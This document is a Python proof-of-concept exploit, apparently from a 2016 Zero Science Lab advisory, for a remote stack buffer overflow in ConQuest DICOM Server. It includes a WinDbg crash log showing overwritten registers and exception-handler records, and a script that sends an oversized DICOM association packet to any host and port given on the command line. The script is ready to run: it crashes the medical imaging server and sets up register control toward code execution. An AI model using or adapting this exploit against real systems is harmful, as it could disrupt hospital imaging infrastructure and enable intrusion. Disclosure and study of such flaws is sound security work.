#!/usr/bin/env python # -*- coding: utf8 -*- # # # ConQuest DICOM Server 1.4.17d Remote Stack Buffer Overflow RCE # # # Vendor: University of Manchester. Developed by Marcel van Herk, Lambert Zijp and Jan Meinders. The Netherlands Cancer Institute # Product web page: https://ingenium.home.xs4all.nl/dicom.html | http://dicom.nema.org # Affected version: 1.4.17d # 1.4.19beta3a # 1.4.19beta3b # # Summary: A full featured DICOM server has been developed based on the public # domain UCDMC DICOM code. Some possible applications of the Conquest DICOM software # are: DICOM training and testing; Demonstration image archives; Image format conversion # from a scanner with DICOM network access; DICOM image slide making; DICOM image selection # and (limited) editing; Automatic image forwarding and (de)compression. # # The vulnerability is caused due to the usage of vulnerable collection of libraries that # are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL. # Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length # of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can # overflow the stack and the heap of the process when sending large array of bytes to the presentation # context item length segment of the DICOM standard, potentially resulting in remote code execution # and/or denial of service scenario. # # ------------------------------------------------------------------------------ # 0:002> g # (820.fc4): Access violation - code c0000005 (first chance) # First chance exceptions are reported before any exception handling. # This exception may be expected and handled. # *** WARNING: Unable to verify checksum for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe # *** ERROR: Module load completed but symbols could not be loaded for C:\Users\lqwrm\Downloads\dicomserver1419beta3b\dgate64.exe # dgate64+0xb9a29: # 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=???????????????? # 0:002> r # rax=0000000044444444 rbx=000000000298c910 rcx=4242424242424242 # rdx=000001400046001a rsi=0000000000001105 rdi=000000000041dc50 # rip=000000013fe09a29 rsp=000000000298b840 rbp=000000000298e8e4 # r8=000000000041dc40 r9=0000000000000402 r10=0000000000000281 # r11=0000013f004a0019 r12=0000000000003eb7 r13=0000000000000000 # r14=0000000000000000 r15=000000000298c910 # iopl=0 nv up ei pl nz na po nc # cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 # dgate64+0xb9a29: # 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] ds:42424242`4242424a=???????????????? # 0:002> u # dgate64+0xb9a29: # 00000001`3fe09a29 488b5108 mov rdx,qword ptr [rcx+8] # 00000001`3fe09a2d 488b4110 mov rax,qword ptr [rcx+10h] # 00000001`3fe09a31 4885d2 test rdx,rdx # 00000001`3fe09a34 7406 je dgate64+0xb9a3c (00000001`3fe09a3c) # 00000001`3fe09a36 48894210 mov qword ptr [rdx+10h],rax # 00000001`3fe09a3a eb04 jmp dgate64+0xb9a40 (00000001`3fe09a40) # 00000001`3fe09a3c 48894328 mov qword ptr [rbx+28h],rax # 00000001`3fe09a40 488b5110 mov rdx,qword ptr [rcx+10h] # 0:002> # dgate64+0xb9a44: # 00000001`3fe09a44 488b4108 mov rax,qword ptr [rcx+8] # 00000001`3fe09a48 4885d2 test rdx,rdx # 00000001`3fe09a4b 7406 je dgate64+0xb9a53 (00000001`3fe09a53) # 00000001`3fe09a4d 48894208 mov qword ptr [rdx+8],rax # 00000001`3fe09a51 eb04 jmp dgate64+0xb9a57 (00000001`3fe09a57) # 00000001`3fe09a53 48894330 mov qword ptr [rbx+30h],rax # 00000001`3fe09a57 ba18000000 mov edx,18h # 00000001`3fe09a5c e804caf4ff call dgate64+0x6465 (00000001`3fd56465) # 0:002> kb e # # RetAddr : Args to Child : Call Site # 00 00000001`3fe104d2 : 00000000`00457a28 00000000`00008014 00000000`0298b8d9 00000000`00000000 : dgate64+0xb9a29 # 01 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : dgate64+0xc04d2 # 02 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 03 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 04 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 05 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 06 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 07 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 08 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 09 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 0a 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 0b 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 0c 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 0d 41414141`41414141 : 41414141`41414141 41414141`41414141 41414141`41414141 41414141`41414141 : 0x41414141`41414141 # 0:002> !exchain # 100 stack frames, scanning for handlers... # Frame 0x01: dgate64+0xc04d2 (00000001`3fe104d2) # ehandler dgate64+0x552e (00000001`3fd5552e) # Frame 0x02: error getting module for 4141414141414141 # Frame 0x03: error getting module for 4141414141414141 # Frame 0x04: error getting module for 4141414141414141 # Frame 0x05: error getting module for 4141414141414141 # Frame 0x06: error getting module for 4141414141414141 # Frame 0x07: error getting module for 4141414141414141 # Frame 0x08: error getting module for 4141414141414141 # Frame 0x09: error getting module for 4141414141414141 # Frame 0x0a: error getting module for 4141414141414141 # Frame 0x0b: error getting module for 4141414141414141 # Frame 0x0c: error getting module for 4141414141414141 # Frame 0x0d: error getting module for 4141414141414141 # Frame 0x0e: error getting module for 4141414141414141 # Frame 0x0f: error getting module for 4141414141414141 # Frame 0x10: error getting module for 4141414141414141 # Frame 0x11: error getting module for 4141414141414141 # Frame 0x12: error getting module for 4141414141414141 # Frame 0x13: error getting module for 4141414141414141 # Frame 0x14: error getting module for 4141414141414141 # Frame 0x15: error getting module for 4141414141414141 # Frame 0x16: error getting module for 4141414141414141 # ... # ... # Frame 0x61: error getting module for 4141414141414141 # Frame 0x62: error getting module for 4141414141414141 # Frame 0x63: error getting module for 4141414141414141 # 0:002> g # # STATUS_STACK_BUFFER_OVERRUN encountered # (820.fc4): Break instruction exception - code 80000003 (first chance) # kernel32!UnhandledExceptionFilter+0x71: # 00000000`7796bb21 cc int 3 # 0:002> g # ntdll!ZwWaitForSingleObject+0xa: # 00000000`77a3bb7a c3 ret # # ------------------------------------------------------------------------------ # # Tested on: Microsoft Windows 7 Professional SP1 (EN) # Microsoft Windows 7 Ultimate SP1 (EN) # Linux Ubuntu 14.04.5 # Solaris 10 # macOS/10.12.2 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2016-5383 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5383.php # # # 22.11.2016 # import socket, sys hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48' '\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f' '\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' '\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34' '\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e' '\x31\x20\x00\x80\x00') # 33406 bytes buffer = '\x41' * 20957 # STACK OVERFLOW / SEH OVERWRITE buffer += '\x42' * 8 # RCX = 4242424242424242 buffer += '\x43' * 8 # defiler ;] buffer += '\x44\x44\x44\x44' # EAX = 44444444 / RAX = 0000000044444444 buffer += '\x45' * 12429 bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde' '\x52\x00\x00\x00') print 'Sending '+str(len(buffer))+' bytes of data!' if len(sys.argv) < 3: print '\nUsage: ' +sys.argv[0]+ ' <target> <port>' print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 5678\n' sys.exit(0) host = sys.argv[1] port = int(sys.argv[2]) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect((host, port)) s.settimeout(17) s.send(hello+buffer+bye) s.close